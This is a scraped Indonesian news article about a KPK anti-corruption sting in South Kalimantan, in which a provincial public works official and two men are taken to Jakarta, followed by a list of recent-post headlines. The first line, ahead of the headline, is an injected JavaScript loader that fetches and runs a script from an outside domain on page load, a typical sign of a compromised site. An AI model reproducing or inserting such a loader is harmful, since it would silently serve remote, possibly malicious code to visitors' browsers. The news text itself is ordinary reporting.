(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Pasca OTT KPK di Kalsel: YE Bersama Dua Orang Digiring ke Jakarta


KANALKALIMANTAN.COM, BANJARBARU – Pasca Operasi Tangkap Tangan (OTT) pada Minggu (6/10/2024) malam, diduga penyelenggara negara dengan jabatan Kepala Bidang (Kabid) Cipta Karya Dinas Pekerjaan Umum dan Penataan Ruang (PUPR) Provinsi Kalimantan Selatan (Kalsel) inisial YE akhirnya digiring ke Jakarta, Senin (7/10/2024) petang.

YE akan diperiksa di Gedung KPK pasca tertangkap tangan. Penyidik KPK yang menumpang dua unit mobil tiba di Bandara Syamsudin Noor di Banjarbaru pada Senin pukul 16.50 Wita.

YE yang mengenakan hijab berwarna abu-abu hanya menundukan kepala ketika digiring oleh petugas KPK. Dia juga tampak membawa koper dan tas.

Baca juga: OTT KPK di Kalsel: Sita Uang Rp10 Miliar, Diduga Hasil Suap Fee Proyek

Selain pejabat Pemprov Kalsel itu, penyidik KPK juga membawa dua orang laki-laki yang diduga turut terjaring saat OTT.

Informasi yang dihimpun, tim penyidik KPK menggunakan maskapai Pelita Air dengan keberangkatan pukul 17.20 Wita menuju Jakarta.

Tidak ada keterangan dari penyidik KPK saat dikonfirmasi awak media di Bandara Syamsudin Noor.

Baca juga: Kapolda Irjen Winarto Akui Ada Operasi KPK di Kalsel

Begitu juga YE dan dua laki-laki yang dibawa KPK, kompak tutup mulut dan bergegas menuju gedung terminal keberangkatan dengan dikawal ketat petugas.

Mobil Plat Merah Terlacak Milik Dinas PUPR Kalsel

Sebelumnya Tim penyidik KPK melakukan operasi senyap di Provinsi Kalimantan Selatan, Minggu (6/10/2024) malam.

Pantauan Kanalkalimantan.com, pada Minggu (6/10/2024) pukul 23.50 Wita, pemeriksaan masih berlangsung di salah satu ruang Mapolres Banjarbaru.

Sementara tampak di halaman Mapolres Banjarbaru terparkir sebuah mobil dinas dengan nomor polisi DA 1152 PE.

Baca juga: OTT KPK di Banjarbaru: Mobil Plat Merah Terlacak Milik Dinas PUPR Kalsel, Terlambat Bayar Pajak

Seturut penelusuran, mobil Mitsubishi Xpander Cross 1.5L berplat merah tersebut dalam aplikasi Bapenda (Badan Pendapatan Daerah) Kalsel diketahui milik Dinas Pekerjaan Umum dan Penataan Ruang (PUPR) Provinsi Kalsel.

Diketahui juga mobil dinas warna hitam lansiran tahun 2022 berpenggerak 4x2A/T itu berstatus terlambat bayar pajak, dimana tercatat jatuh tempo pajak pada 16-3-2024. (Kanalkalimantan.com/wanda)

Reporter : wanda
Editor : kk


Muhammad Andi

Recent Posts

Pelantikan PAW Komisioner KPU Banjarbaru Tunggu KPU RI

KANALKALIMANTAN.COM, BANJARBARU - Proses Penggantian Antar Waktu (PAW) Komisioner KPU Banjarbaru masih berjalan, meski tahapan… Read More

11 jam ago

Talk Show HUT ke-8 RSD Idaman Seni Mengelola Konflik dalam Rumah Tangga

KANALKALIMANTAN.COM, BANJARBARU - Menyemarakan penandaan Haru Ulang Tahun (HUT), Rumah Sakit Daerah Idaman (RSDI) menggelar… Read More

13 jam ago

2.069 Pelajar SD se HSU Ikuti Khataman Al Qur’an

KANALKALIMANTAN.COM, AMUNTAI - Sebanyak 2.069 pelajar Sekolah Dasar (SD) se Kabupaten Hulu Sungai Utara (HSU)… Read More

1 hari ago

Curi Mobil Nyamar Petugas Parkir Wisuda Kampus ULM, MSR Diringkus Polisi

KANALKALIMANTAN.COM, BANJARBARU - Dua unit mobil hilang saat terparkir di kampus Universitas Lambung Mangkurat (ULM)… Read More

1 hari ago

Nasib Tiga Proyek Dinas PUPR Kalsel Pasca OTT KPK

KANALKALIMANTAN.COM, BANJARBARU - Lebih sepekan sudah pasca Operasi Tangkap Tangan (OTT) Komisi Pemberantasan Korupsi (KPK)… Read More

1 hari ago

Kunjungi Karangintan, Masyarakat Inginkan Saidi Mansyur Terpilih Lagi

KANALKALIMANTAN.COM, MARTAPURA - Masyarakat Karangintan menyatakan dukungannya terhadap pasangan calon bupati dan wakil bupati Banjar… Read More

1 hari ago

This website uses cookies.